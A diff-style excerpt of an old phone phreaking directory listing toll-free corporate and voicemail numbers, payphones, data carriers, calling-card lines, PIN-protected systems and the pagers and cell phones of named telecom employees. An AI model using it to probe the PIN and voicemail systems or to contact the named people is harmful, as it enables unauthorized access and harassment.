+1-800-222-5000 AAA's Air, Hotel and Car Reservations.
+1-800-222-6000 Box 6853968 (NUKEYOU) Damage, INC. VMB.
+1-800-222-TIPS Crime Stoppers.
+1-800-225-5101 Cable Guide Hotline.
+1-800-225-5455 Johnson and Johnson VMS.
+1-800-225-5627 (1-800-CALL-NCR) NCR Customer Support.
+1-800-225-5854 Meridian Mail VMB.
+1-800-225-5921 Highlander Sale Catalog. (for ordering Scottish merchandise!)
+1-800-255-3700 Nintendo.
+1-800-263-0656 NCR.
+1-800-263-1136 Statistics Canada.
+1-800-265-0977 NCR.
+1-800-265-MUCH MuchMusic. (Much On Demand)
+1-800-267-1177 Canada Post.
+1-800-267-7000 Royal Canadian Mint. (show me the money)
+1-800-267-7777 Department of Justice. (Canada)
+1-800-289-6241 Mag-Lite flashlights.
+1-800-331-9922 General Motors Shareholder's Services.
+1-800-334-2564 (1-800-3-DIALOG) Dialog Information Service WHQ.
+1-800-336-6000 Audix VMB.
+1-800-353-0809 Call to remove yourself from Credit Card company lists.
+1-800-360-2255 Century 21 Realty VMS.
+1-800-387-4636 Nestle Canada.
+1-800-387-8240 NCR.
+1-800-387-8300 NCR Help Desk and Call Management Center.
+1-800-388-PIR8 SPA Anti-Piracy Hotline. (the official warez d00d ratline)
+1-800-4-DOTCOM Network Solutions. (the Dot Com people)
+1-800-400-VIEW Rogers Cable Viewer's Choice.
+1-800-407-2247 Quaker Oats Company.
+1-800-418-6245 Blockbuster's VMS.
+1-800-421-7944 NCR Benefits Service Center.
+1-800-425-1111 Pepsi Cola Atlantic Customer Service.
+1-800-426-0000 Systematic. (these people aren't very phreakymatic)
+1-800-439-2204 Brewer's Retail Help Desk. (The Beer Store - ask for free beer!)
+1-800-452-9996 Statistics Canada.
+1-800-461-2800 Canadian Tire Cardholder Services.
+1-800-461-5161 NCR Canada Emergency Parts Order Desk.
+1-800-465-1176 Meridian Mail VMB.
+1-800-468-1714 Hershey Canada.
+1-800-472-5451 Hershey Canada Inc.
+1-800-488-7040 ADT Security.
+1-800-501-1150 Hershey Canada Inc. (French)
+1-800-501-6245 Database America's answering machine.
+1-800-541-6821 Super Bureau Inc. (find documents on almost anyone)
+1-800-555-1313 SkyTel VMB.
+1-800-555-1560 Audix VMB.
+1-800-555-6620 Meridian Mail VMB.
+1-800-555-TELL Tell Me. (Menu Driven info - News, Weather, Time, etc.)
+1-800-557-6245 Saloman Smith Barney VMS.
+1-800-565-6317 Cadbury.
+1-800-5678-HMV HMV Music Store.
+1-800-627-2303 (1-800-NCR-2303) NCR Corporation Shareholder Services.
+1-800-663-1243 Adbusters Media Foundation. (Culture Jamming)
+1-800-663-7780 NCR Invoicing Department.
+1-800-666-1474 American Coin Machine.
+1-800-668-1417 Global Business Centers.
+1-800-668-3979 Bestobell Canada Ltd (Toronto)
+1-800-669-1800 Burger King's VMB. (4 digit BNs)
+1-800-672-3888 National Rifle Association Hotline.
+1-800-678-8774 Source Resources (the source for finding people)
+1-800-682-7654 Experion Credit checks/reports. (formerly TRW)
+1-800-685-1101 CB (Equifax)
+1-800-685-1102 CB (Equifax)
+1-800-685-1103 CB (Equifax)
+1-800-685-1104 CB (Equifax)
+1-800-685-1111 CB (Equifax)
+1-800-685-3968 (1-800-NUKE-YOU) is VoiceComm.
+1-800-688-6115 National Security Agency (NSA) INFOSEC Center.
+1-800-707-0570 Ad Ventures Inc.
+1-800-724-3780 Seiger Electronics.
+1-800-724-6644 Ext. #22783700 Phone Losers of America VMB.
+1-800-777-2255 Phone Works VMS.
+1-800-786-2441 Tell Me. (News, Sports, Entertainment, etc.)
+1-800-792-1000 Columbia House CD-ROM Club.
+1-800-800-8800 Target Directory.
+1-800-842-2255 American Express VMS (Audix)
+1-800-888-4848 Subway's VMS.
+1-800-889-6245 "Belen Hell" VMS. (VMB="#") (Dir.="3")
+1-800-892-3351 National Rifle Association (Join the NRA Now!)
+1-800-909-3250 Meridian Mail VMB.
+1-800-909-4672 National Rifle Association (NRA)
+1-800-925-6278 (1-800-WAL-MART) WAL-MART Directory.
+1-800-939-4484 ITI (Information Technology Institute)
+1-800-949-6245 Phone Mail VMB.
+1-800-954-6245 OcTel VMB.
+1-800-CRIME-TV America's Most Wanted.
+1-800-DIRECTV DirecTV. (satellite television)
+1-800-FIRST-CALL First Call. (Cable Locate Service)
+1-800-GETEVOICE eVoice by Nokia. (call to sign up for a free VMB)
+1-800-GO-FEDEX FedEx.
+1-800-KRAMERS The Real Kramer's Reality Tour in New York City.
+1-800-MOLSON-1 Molson Canada.
+1-800-NY-TIMES New York Times Customer Service.
+1-800-O-CANADA Government of Canada.
+1-800-ONTARIO Travelinx Ontario. (Tourism Information)
+1-877-326-2826 NCR Bell Help Desk.
+1-877-450-9488 Wraith Tech Industries Main Number. (24/7)
+1-877-66-TRIOS TriOS Training Centres. (MCSE, Unix, Novell)
+1-877-724-2647 "Security" loser.
+1-877-875-2762 Pioneer Help Line.
+1-877-925-6278 (1-800-WAL-MART) Customer and Associates Service Hotline.
+1-877-940-BELL Bell Micro Products.
+1-888-25-GREAT Cleveland Hotline.
+1-888-256-5678 NCR AlertLine.
+1-888-339-1688 MediaOne.
+1-888-349-6972 Micron Electronics Technical Support.
+1-888-504-2355 "Tony Bell" from Remax.
+1-888-536-2355 "This is Ken Bell." (Voice)
+1-888-663-3279 Canada Trust Co.
+1-888-751-8088 Guinness World Records.
+1-888-EMAIL-ME College Club Free VoiceMail. (U.S. only)
+1-888-STAR-602 Star Choice Customer Service. (Satellite television)
+1-888-STCK-NCR NCR Corporation Associates Stock Ownership at Merrill Lynch.
+1-888-TEL-CORD "This is Roy." (ask for your telephone cord back!)
+
+-------------------------------------------------------------------------------
+ Payphones:
+-------------------------------------------------------------------------------
+
+(214) 381-9151 Vecta's Food Store on Jim Miller and Bruton Road Dallas, TX. (O)
+(214) 824-9028 Sparkle Car Wash in 1600 Block of Haskell Dallas, Texas. (O)
+(214) 841-4719 Sparkle Car Wash in 1600 Block of Haskell Dallas, Texas. (O)
+(214) 841-9840 Lizzard Lounge Dallas, TX. (O)
+(509) 332-0415 Payphone somewhere in Pullman, Washington. (A)
+(519) 322-2033 Point Pelee Park. (A) (O)
+(519) 570-9131 Kitchener, ON.
+(519) 571-5092 Paytel Payphone on Highland Rd at GOCO gas station. (C) (O)
+(519) 576-0354 Paytel Payphone on Weber Street in Kitchener, ON. (C) (O)
+(519) 576-5239 King Street Kitchener, ON. (M) (O)
+(519) 576-9444 King Street Kitchener, ON. (M) (O)
+(519) 578-9318 Highland Road Kitchener, ON. (M) (O)
+(519) 579-2111 Wink's Sunoco on Highland Rd Kitchener, ON. (M) (O)
+(519) 744-3349 1st Canadian Telecom at Queen & Duke St. Kitchener, ON. (C) (O)
+(519) 746-0329 WLU Arts Building E Wing 1st Floor. (M) (I)
+(519) 746-1488 University of Waterloo Davis Centre. (M) (I)
+(519) 746-1488 University of Waterloo. (M) (I)
+(519) 746-1838 University of Waterloo Davis Centre. (DM) (I)
+(519) 746-1856 Wilfred Laurier University Aird Dining Hall East. (M) (I)
+(519) 746-2685 UofW South Campus Computer & Math Building 2nd Floor. (M) (I)
+(519) 746-2801 University of Waterloo Davis Centre. (M) (I)
+(519) 746-2801 University of Waterloo. (M) (I)
+(519) 746-3561 UofW South Campus Computer & Math Building 2nd Floor. (M) (I)
+(519) 746-3793 University Shops Plaza II Waterloo, ON. (M) (O)
+(519) 746-4006 University of Waterloo Davis Centre Library entrance. (DM) (I)
+(519) 746-4606 University of Waterloo. (M) (I)
+(519) 746-4654 UofW South Campus Physical Activities Center. (DM) (I)
+(519) 746-6280 University of Waterloo. (M) (I)
+(519) 746-6434 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-7039 University Shops Plaza II Waterloo, ON. (M) (O)
+(519) 746-7107 WLU Alvin Wood Concourse. (M) (I)
+(519) 746-7787 University Shops Plaza II Waterloo, ON. (M) (O)
+(519) 746-8751 University of Waterloo Davis Centre Library entrance. (DM) (I)
+(519) 746-8751 University of Waterloo. (M) (I)
+(519) 746-9070 University Shops Plaza II Waterloo, ON. (M) (O)
+(519) 746-9093 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-9094 University of Waterloo. (M) (I)
+(519) 746-9113 University of Waterloo Davis Centre. (M) (I)
+(519) 746-9115 University of Waterloo Davis Centre. (M) (I)
+(519) 746-9134 WLU Aird First Floor Dining Hall Lower Level. (M) (I)
+(519) 746-9172 East Side Marios University St. Plaza Waterloo, ON. (M) (I)
+(519) 746-9203 UofW South Campus Computer & Math Building 2nd Floor. (M) (I)
+(519) 746-9208 UofW South Campus Computer and Math Building 3rd Floor. (M) (I)
+(519) 746-9209 UofW South Campus Computer and Math Building 3rd Floor. (M) (I)
+(519) 746-9236 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-9241 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-9252 Wilfred Laurier University Library Basement. (M) (I)
+(519) 746-9263 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-9271 UofW South Campus Computer and Math Building 3rd Floor. (M) (I)
+(519) 746-9273 Wilfred Laurier University Alvin Wood Concourse. (M) (I)
+(519) 746-9277 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-9305 University Shops Plaza I Waterloo, ON. (M) (O)
+(519) 746-9324 UofW South Campus Computer & Math Building 2nd Floor. (M) (I)
+(519) 746-9368 UofW South Campus Computer and Math Building 3rd Floor. (M) (I)
+(519) 746-9497 UofW South Campus Computer and Math Building 3rd Floor. (M) (I)
+(519) 746-9498 UofW South Campus Computer and Math Building 3rd Floor. (M) (I)
+(519) 746-9580 Wilfred Laurier University Library Basement. (M) (I)
+(519) 746-9591 University of Waterloo Davis Centre. (M) (I)
+(519) 746-9591 University of Waterloo. (M) (I)
+(519) 746-9592 UofW South Campus Physical Activities Center. (M) (I)
+(519) 746-9593 University of Waterloo Davis Centre. (M) (I)
+(519) 746-9594 University of Waterloo Davis Centre. (M) (I)
+(519) 746-9602 WLU Aird First Floor Dining Hall Lower Level. (M) (I)
+(519) 746-9624 Wilfred Laurier University Aird Dining Hall East. (M) (I)
+(519) 746-9626 UofW South Campus Bus Stop near Davis Centre Library. (M) (O)
+(519) 746-9628 UofW South Campus Bus Stop on Ring Road. (M) (O)
+(519) 746-9630 UofW South Campus Ira G Needles Hall Bus Stop. (M) (O)
+(519) 746-9631 University of Waterloo South Campus Bus Stop. (M) (O)
+(519) 747-5773 1st Canadian Telecom at Weber St. Short Stop Kitchener. (C) (O)
+(519) 747-9422 1st Canadian Telecom at Weber St. Short Stop Kitchener. (C) (O)
+(519) 749-7015 1st Canadian Telecom at Belmont Short Stop Kitchener. (C) (O)
+(519) 749-8011 1st Canadian Telecom at Highland Short Stop Kitchener. (C) (O)
+(519) 749-8857 Paytel on University Ave and Moore in Waterloo, ON. (C) (O)
+(519) 749-8877 1st Canadian Telecom at Queen St. Short Stop Kitchener. (C) (O)
+(519) 749-9081 Mr. Sub on Highland and Westmount Kitchener, ON. (CE) (O)
+(519) 749-9113 Medical Center at 18 Pine St. Kitchener First Floor. (CE) (I)
+(519) 749-9335 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9357 King and Gaukel Street Kitchener, ON. (M) (O)
+(519) 749-9407 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9462 AT&T Canada payphone at Esso on Fisher Hallman. (C) (O)
+(519) 749-9470 King and Breithaopt Tim Hortons Kitchener, ON. (M) (O)
+(519) 749-9503 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9505 King and Benton Street. Kitchener, ON. (M) (O)
+(519) 749-9524 King and Water Street. Kitchener, ON. (CE) (O)
+(519) 749-9535 King Street. (near Benton St.) Kitchener, ON. (M) (O)
+(519) 749-9539 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9578 King Street. (near Queen St.) Kitchener, ON. (M) (O)
+(519) 749-9607 Glasgow Heights Tim Hortons Waterloo, ON. (M) (O)
+(519) 749-9609 Queen Street across from Encore Records. Kitchener, ON. (CE) (O)
+(519) 749-9627 King Street. (near Queen St.) Kitchener, ON. (M) (O)
+(519) 749-9650 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9657 Kitchener Transit Bus Terminal. (M) (O)
+(519) 749-9659 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9662 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9704 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9710 Glasgow Heights Tim Hortons Waterloo, ON. (M) (O)
+(519) 749-9732 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9749 Kitchener Transit Bus Terminal. (M) (O)
+(519) 749-9782 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9784 Kitchener Transit Bus Terminal. (M) (I)
+(519) 749-9786 King and Breithaopt Tim Hortons Kitchener, ON. (M) (O)
+(519) 749-9893 Kitchener Transit Bus Terminal. (M) (O)
+(519) 883-1061 University Shops Plaza I Waterloo, ON. (M) (O)
+(519) 883-1384 University Shops Plaza I Waterloo, ON. (M) (O)
+(519) 883-8361 Wilfred Laurier University Alvin Wood Concourse. (M) (I)
+(519) 885-3211 WLU Arts Building E Wing 1st Floor. (M) (I)
+(519) 885-3297 WLU Arts Building E Wing 1st Floor. (M) (I)
+(519) 885-5058 WLU Arts Building E Wing 1st Floor. (M) (I)
+(519) 886-7899 UofW South Campus Physical Activities Center. (M) (I)
+(519) 886-8112 UofW South Campus Physical Activities Center. (M) (I)
+(519) 886-8330 UofW South Campus Physical Activities Center. (M) (I)
+(519) 888-0094 UofW South Campus Physical Activities Center. (M) (I)
+(519) 888-0107 Wilfred Laurier University Students Union Ground Floor. (M) (I)
+(519) 888-0837 UofW South Campus Physical Activities Center. (M) (I)
+(519) 888-6434 UofW South Campus Physical Activities Center. (M) (I)
+(519) 888-7236 University Shops Plaza II Williams Coffee Pub. (M) (I)
+(519) 888-9046 Wilfred Laurier University Students Union. (M) (I)
+(519) 888-9074 UofW South Campus Physical Activities Center. (M) (I)
+(519) 888-9309 Wilfred Laurier University Students Union. (M) (I)
+(519) 894-5919 AT&T Canada payphone at Esso on Courtland & Manitou. (C) (O)
+(519)-576-0354 Kitchener, Ontario (Paytel)
+(705) 328-9710 Payphone at 98 Albert St. in Lindsay, ON. (A) (O)
+(760) 733-9969 Mojave Desert Phone Booth in California. (A) (O)
+(780)-456-9843 'Waysafe', 109st Castledowns Road, Edmonton. (Paytel)
+(780)-456-9983 127St/139Ave: Edmonton, Alberta, Canada. (Intellical-2)
+(780)-483-9783 Edmonton, Alberta (Paytel)
+(810) 784-9018 Armada, Michigan High School. (A) (I)
+(905) 946-9953 Coffee Time in Markham, ON. (A) (I)
+
+(A)=Accepts Incoming Calls, (C)=COCOT, (CE)=Centurion, (DM)=Desktop Millennium,
+(I)=Indoors, (M)=Millennium, (O)=Outdoors.
+
+For more payphone numbers, visit www.payphone-directory.org
+
+
+-------------------------------------------------------------------------------
+ Telco Employees (Answering Machines and Pagers):
+-------------------------------------------------------------------------------
+
+(204) 941-7654 June Kirby MTS Director Corporate Communications.
+(204) 941-8283 Brad Woods MTS Director Investor Relations.
+(317) 265-2539 Jim L. Bayless with Ameritech Indiana Security.
+(416) 350-0573 Bell Canada Media Relations (Irene Shimoda)
+(416) 377-3724 Mike Turner's Pager (works for Bell)
+(416) 379-2117 Dave Twiner's Pager (works for Bell)
+(416) 452-4626 Caroline Verboon of GPC. (cell phone)
+(416) 453-5501 George Ross with Telecom Canada. (cell phone)
+(416) 581-3311 Bell Canada Media Relations (Don Hogarth)
+(416) 581-3311 irene.shimoda@bell.ca
+(416) 598-0055 GPC Communications (Caroline Verboon)
+(416) 941-7026 Bell Canada Media Relations Pager. (Irene Shimoda)
+(514) 391-2007 Bell Canada Media Relations (Louis Arseneault)
+(514) 786-3655 shirley.bishop@bell.ca
+(514) 786-3908 Jean-Charles Robillard with Bell Canada.
+(514) 870-2488 Bell Canada Investor Relations (Frank Miscio)
+(514) 918-3617 Jean-Charles Robillard (cell phone)
+(604) 432-2663 Doug Strachan with TELUS.
+(613) 660-1186 Bell Canada's Voice Information Processing System.
+(613) 660-2355 Bell Canada's Voice Information Processing System.
+(613) 660-6708 Roxanne Halverson with Bell Canada.
+(613) 660-6709 Bell Canada's Voice Information Processing System.
+(613) 660-6710 Stentor Communications. (Isabelle Lanteigne)
+(613) 660-6711 Stentor Communications. (French employee)
+(613) 660-6712 Stentor Communications. (Louisse)
+(613) 660-6713 Stentor Emergency Operations Centre.
+(613) 660-6982 Stentor 2000 Information Line.
+
+1-800-272-4835 Steve Freedlander with Ameritech. (Answering Machine)
+1-800-407-2355 John with Southwestern Bell Wireless.
+1-800-455-6813 Jack Hogan of MCI WorldCom's Pager.
+1-800-465-9625 Bell Canada Media Relations (Shirley Bishop)
+1-800-483-6390 Scott's Pager (Qwest Communications)
+1-800-483-7695 Scott from Americom's Pager/Voicemail.
+1-800-493-2603 Kimberly Smith at Qwest Communications.
+1-800-519-6245 TONE then "Sprint - Kimberly Martin." (Answering Machine)
+1-800-661-0480 Debbie Southerland of Bell ActiMedia.
+1-800-808-8334 David Miller with MCI WorldCom in Tucson. (Answering Machine)
+1-800-939-6680 John Ryan of AT&T Network Engineering's Pager.
+1-877-391-2007 Bell Canada Media Relations (Louis Arseneault)
+1-888-482-0809 Bell Canada Media Relations (Irene Shimoda)
+
+
+-------------------------------------------------------------------------------
+ Numbers that Require PINs:
+-------------------------------------------------------------------------------
+
+(416) 350-9024 "Enter your PIN number now."
+1-800-235-3155 "Welcome. Enter the PIN number you wish."
+1-800-249-6245 "Please enter your 7 digit access code."
+1-800-309-6678 "Please enter your PIN number now."
+1-800-352-8201 "Please enter your 4 digit PIN."
+1-800-525-7877 "Please enter your 4 digit PIN."
+1-800-549-6245 "Welcome. Enter the PIN number you wish."
+1-800-555-2250 "Enter the PIN number you wish."
+1-800-566-6245 "Please enter your four digit PIN."
+1-800-643-6245 "Enter ID number immediately followed by your security code."
+1-800-749-4200 "Enter the PIN number you wish."
+1-800-827-4780 "Please enter your PIN number."
+1-800-827-9910 SkyTel. "Enter the PIN number you wish."
+1-800-862-6340 "Please enter your 4 digit PIN."
+1-888-612-2355 "Enter the PIN number you wish."
+1-888-614-2355 "Enter the PIN number you wish."
+1-888-623-2355 "Enter the PIN number you wish."
+1-888-684-4466 "Enter the PIN number you wish."
+
+
+-------------------------------------------------------------------------------
+ Carriers:
+-------------------------------------------------------------------------------
+
+(416) 361-3028 MCI/CompuServe Dialup.
+(416) 594-1121 SprintNet Dialup.
+(519) 821-4950 AT&T Canada PSN. (dialup with 40 lines)
+(905) 470-7122 Toshiba Canada BBS.
+1-800-222-0555 Tymnet Dialup.
+1-800-234-1998 Digital Equipment Corp. Electronic Store. (Online Shopping)
+1-800-234-6245 MCI (USA)
+1-800-283-5474 Okidata (inside joke!)
+1-800-346-3247 CompuServe.
+1-800-368-7244 AT&T Information Access Services SignOn/Pwd (USA)
+1-800-368-7247 AT&T Information Access Services SignOn/Pwd (USA)
+1-800-472-INET Unisys, UEN Internet Access Gateway - Eagan, MN
+1-800-546-2500 Sprint's online directory of SprintNet local access numbers.
+1-800-565-8805 Datapac WATS access number.
+1-800-604-6245 Digital Equipment Corporation.
+1-800-624-5123 AT&T STATION ID - C2/34.11 Canada 2 Datakit.
+1-800-692-8872 (1-800-MY-ATT-PC) NCR Global Support Center BBS. (3 lines)
+1-800-843-0378 MCI/CompuServe Dialup.
+1-800-848-4480 MCI WorldCom Network Assistance. (lists local access numbers)
+1-803-939-8207 NCR Global Support Center BBS. (9 lines)
+
+(Use the N-8-1 setting to connect to the carriers above.)
+
+
+-------------------------------------------------------------------------------
+ Cellular, PCS, Messaging and Paging Services:
+-------------------------------------------------------------------------------
+
+1-800-214-4488 Wireless Solutions Hotline.
+1-800-222-8466 Cellular Rentals.
+1-800-225-5152 Nationwide Messaging.
+1-800-227-3663 (1-800-CAR-FONE) Ericsson.
+1-800-235-1414 National Telewire Message Centre.
+1-800-244-7464 Scot Forge. (Mobile Telephone Equipment)
+1-800-258-2669 Answer America. (Telephone Answering Service)
+1-800-263-7536 Nokia Mobile Phones.
+1-800-264-2355 (1-800-ANI-CELL) Cellular South Answer Center.
+1-800-267-9010 Message Center Dispatch.
+1-800-270-6000 Cleartel's Universal Roaming Service for Personal 800 Users.
+1-800-274-3127 MobileCom's National Customer Service Center.
+1-800-320-3488 Motorola Radio Network Services. (San Diego, CA)
+1-800-329-7402 ProPage (Paging and Voicemail)
+1-800-331-6456 Motorola Cellular.
+1-800-333-6414 Answerfone, Inc. (Answering Service)
+1-800-346-0196 Nationwide Messaging.
+1-800-361-1319 Motorola Canada.
+1-800-367-2346 Motorola Telecommunications Administration.
+1-800-374-2355 InterCall.
+1-800-374-2776 (1-800-ERICSSON) Ericsson Mobile Phones Customer Care Center.
+1-800-377-2288 Mountain West Communications. (Telephone Answering Service)
+1-800-381-7707 Rogers Cantel Service. (Barrie, ON)
+1-800-387-9000 Jetco Companies. (press "4" - InTouch Canada Cell Phone Rentals)
+1-800-405-6543 American Mobile.
+1-800-411-2355 Car Phone Store.
+1-800-432-2355 Air Touch Paging.
+1-800-438-2355 Kentucky Cellular.
+1-800-443-5464 Cue Paging Customer Service.
+1-800-446-6744 Motorola Supplier/Customer Training Services.
+1-800-452-2355 Appalacian Wireless.
+1-800-453-0920 Motorola IDEN Customer Services.
+1-800-455-2948 SkyWard Message Center.
+1-800-456-3333 SkyTel National Sales Center.
+1-800-460-2255 Pager Service.
+1-800-461-4575 Motorola Cellular Customer Service.
+1-800-474-2355 OmniCell Technologies Incorporated.
+1-800-481-2355 ATI Cellular.
+1-800-483-5010 Cellular Express.
+1-800-488-2355 Cellular 2000.
+1-800-496-2355 Nationlink.
+1-800-518-2355 CellToys International. (Cellular, PCS, accessories etc.)
+1-800-523-2337 ProPage.
+1-800-535-2489 Cellular City in Las Vegas, NV (Cellular Rentals and Service)
+1-800-538-4715 Le Tip International. (Paging, Signaling Equipment and Systems)
+1-800-543-7658 Cue Paging Customer Service.
+1-800-547-8444 B&B Beepers Activation Line.
+1-800-548-7172 Comstock Answering and Services.
+1-800-549-2355 Advanced Cellular and Paging.
+1-800-569-8840 Answer Point Telephone Equipment. (Reno, NV)
+1-800-590-2355 ATI Cellular.
+1-800-613-2355 Cellular Unlimited.
+1-800-625-8885 Tab Beepers. (Wireless Communications)
+1-800-626-2636 SNET Page 2000. (Paging Services)
+1-800-634-0958 Palco Telecom Service Inc. (Telephone Equipment and Repairs)
+1-800-638-2355 Comcev Cellular Communications.
+1-800-642-9378 Mountain West Communications. (Telephone Answering Service)
+1-800-654-6115 Business Communications Distributors (BCD) Telephone Equipment.
+1-800-667-7243 Cantel AT&T Paging.
+1-800-673-2355 Quintex Cellular.
+1-800-6AIR-TOUCH Air Touch Paging Canada.
+1-800-705-2355 OmniCell Technical Department VMS.
+1-800-706-2355 Paging Service Center.
+1-800-724-2355 AllCell Rentals.
+1-800-742-2355 Mobile Media.
+1-800-749-9977 TSR Wireless.
+1-800-759-2355 Plymouth Bell Laboratories.
+1-800-765-2355 Isralink Communications. (Israeli Cell phones)
+1-800-794-2355 Advantage Communications Systems.
+1-800-806-2355 Advantage Paging.
+1-800-821-2355 MobileCom.
+1-800-821-5425 Metro-Call. (Paging, Signaling Equipment and Systems)
+1-800-824-2337 The Wireless Store.
+1-800-824-9755 Cue Paging Sales. (Paging, Signaling Equipment and Systems)
+1-800-825-2222 The 800 Connection. (Answering Service)
+1-800-825-2255 Metro-Call Customer Service. (Pager service)
+1-800-854-2355 MobileCall accounts.
+1-800-858-8828 Cue Paging Corporation.
+1-800-861-3701 Nationwide Messaging.
+1-800-866-2770 MobileCom. (Pager service)
+1-800-866-7000 MobileCom.
+1-800-871-2355 The Phone Man. (I'm fucking serious... Haha)
+1-800-872-6222 American Mobile Satellite Communications Products. (U.S. only)
+1-800-874-6387 Trellis Communications.
+1-800-887-2255 Trellis Premier Voice Mail and Paging.
+1-800-890-7243 Metro-Call Pagers.
+1-800-922-5469 SNET Wireless Services.
+1-800-926-2355 Ubet Wireless.
+1-800-951-2355 Cantel Communications.
+1-800-969-9998 Cable and Wireless USA.
+1-800-980-2355 Light Cellular.
+1-800-999-6500 Cable and Wireless Customer Care Center.
+1-800-NEWTEL-1 American Wireless.
+1-800-SKY-8888 SkyTel System Access.
+1-800-SKY-FAXE SkyFax (SkyTel Faxing)
+1-800-SKY-GRAM Skyward (SkyTel Alpha-Numeric Paging)
+1-800-SKY-PAGE SkyPager (SkyTel Numeric Paging)
+1-800-SKY-TALK SkyTalk (SkyTel Voice Mail)
+1-800-SKYTEL-5 SkyTel.
+1-800-WIRELESS Page USA.
+1-877-240-1267 Cantel Centre De Communication Tech.
+1-877-255-CELL InTouch Cellular.
+1-877-289-CELL ATX Cellular Department.
+1-877-360-CELL Cellhigher USA. (cell phone rentals)
+1-877-392-CELL Connect Cell Incorporated.
+1-877-4-BELLCO Cellular Connection.
+1-877-463-CELL PrimeCell.
+1-877-489-CELL PageNet's Wireless Messaging Network.
+1-877-498-CELL Portables.
+1-877-499-1270 PageNet Wireless Messaging Network.
+1-877-502-CELL Cellular Technologies.
+1-877-503-CELL Wireless Solutions.
+1-877-601-CELL Go Cellular.
+1-877-631-CELL Cellular Connections. (Authorized Verizon Wireless Dealer)
+1-877-643-CELL Action One Cellular.
+1-877-730-CELL Deltacom. (Nextel Dealer/Representative)
+1-877-845-CELL Capital City Cellular. (Authorized Rogers AT&T Wireless Dealer)
+1-877-873-CELL Discover Communications. (Rogers AT&T Wireless)
+1-877-948-4968 (1-877-WITH-YOU) Frontier Cellular.
+1-877-954-CELL CelluWorld.
+1-877-965-CELL Advanced Communications.
+1-877-969-CELL Microcell.
+1-877-991-CELL Univercell (cell phone rentals)
+1-877-AIRFONE Message Center.
+1-877-CELLPHONE Travel Phone. (Cellular Sales)
+1-877-MOTOROLA Motorola.
+1-877-NEWTEL-1 Mobile Communications
+1-877-ROGERS-1 Rogers Corporation.
+1-877-ROGERS-2 Rogers AT&T Wireless Automated Self-Service System.
+1-877-SATPHONE Globalstar Customer Care. (Satellite Communications)
+1-877-USA-CELL USA Cell.
+1-877-WIRELESS Cellular Depot.
+1-888-229-4443 Cantel AT&T Canada.
+1-888-257-8826 Cantel Centre de Communication.
+1-888-300-2355 Consolidated Wireless Corporation.
+1-888-444-2355 Maricell Cellular.
+1-888-481-FIDO Fido PCS Services.
+1-888-540-2222 Clearnet Business Communications Center.
+1-888-593-2355 S&E Cellular.
+1-888-594-SNET SNET Prepaid Cellular Services.
+1-888-622-RENT Rent Express. (Bell Mobility phone rentals)
+1-888-638-2355 Cantel AT&T.
+1-888-642-MIKE Mike Clearnet.
+1-888-694-2355 Corporate Communications at AirTouch Customer Service.
+1-888-736-8567 Motorola.
+1-888-801-2355 Cell Phones and Accessories.
+1-888-877-2355 Comcev Communications.
+1-888-879-2355 Portable Communications. (The home of the Phone Man)
+1-888-901-2355 Digital Communications.
+1-888-902-2355 NewTech Wireless. (Paging, cellular, equipment, etc.)
+1-888-968-2355 Everything Wireless.
+1-888-999-2355 Downtown Wireless.
+1-888-BUY-CELL Total Communications Rogers AT&T.
+1-888-CELL-COM CellCom and PageCom.
+1-888-MOTOROLA Motorola.
+1-888-WIRELESS Page USA.
+
+
+-------------------------------------------------------------------------------
+ Free Disks:
+-------------------------------------------------------------------------------
+
+1-800-232-7638 AEC Software Technical Support. (free Windows or Mac disk)
+1-800-395-8425 EarthLink Sprint Sales.
+1-800-453-3972 Datatrack (ask for Windows Atlas Equipment Manager demo disk)
+1-800-487-4838 CompuServe.
+1-800-554-4008 Discovery Channel (3 free disks for Internet software)
+1-800-638-2661 EarthLink.
+1-800-742-5877 UPS (ask for their shipping software for a free disk & CD)
+1-800-773-4638 Primus Canada.
+1-800-777-9638 (1-800-SPRYNET) Sprynet - Gives you two disks.
+1-800-786-7638 (1-800-SUNSOFT) SunSoft - Free 30-day evaluation disk. (press 1)
+1-800-827-6364 America Online.
+1-800-973-1335 Suretrack Sales. (ask for a free demo disk)
+1-800-FREE-MSN Micro$oft Network Canada.
+1-800-PRODIGY Prodigy Internet Services.
+1-877-288-6626 AT&T Canada Internet Service.
+1-888-265-4357 (1-888-AOL-HELP) AOL Canada (only call for free 3«" AOL disks)
+1-888-288-1233 AT&T Canada Internet Service.
+
+
+-------------------------------------------------------------------------------
+ Calling Cards:
+-------------------------------------------------------------------------------
+
+1-800-213-0304 Talk `n Toss Calling Card.
+1-800-213-4222 Calling Card.
+1-800-225-2255 ATN Communications. (collect, calling & credit card calls)
+1-800-225-4288 ATN Communications. (collect, credit, calling card)
+1-800-225-5128 NOS automated collect, credit and calling card calls.
+1-800-225-5228 ATN Communications. (collect, credit, calling card)
+1-800-225-5233 NOS automated collect, credit and calling card calls.
+1-800-225-5268 ATN Communications. (collect, credit, calling card)
+1-800-225-5475 Smart Cards USA.
+1-800-225-5607 NOS automated collect, credit and calling card calls.
+1-800-255-8355 AllTel Calling Cards.
+1-800-265-3121 Prepaid LD.
+1-800-267-3000 World Direct calling card calls.
+1-800-270-1111 "Please enter your card number."
+1-800-270-3000 "Please enter your card number."
+1-800-270-5000 "Please enter your card number."
+1-800-270-7000 "Please enter your card number."
+1-800-276-2355 Frontier Communications Customer Service.
+1-800-277-7468 Sprint Phone Card Calls (press 1)
+1-800-279-6111 Unidial Calling Card.
+1-800-284-2255 ATN Communications. (collect, credit, calling card)
+1-800-300-2355 NOS. (calling card, collect calls, etc.)
+1-800-303-5156 OLA Ontario Pre-paid calling card.
+1-800-361-7227 HELLO! Phone Pass Prepaid Customer Service Center.
+1-800-393-0711 7-11 Calling Cards.
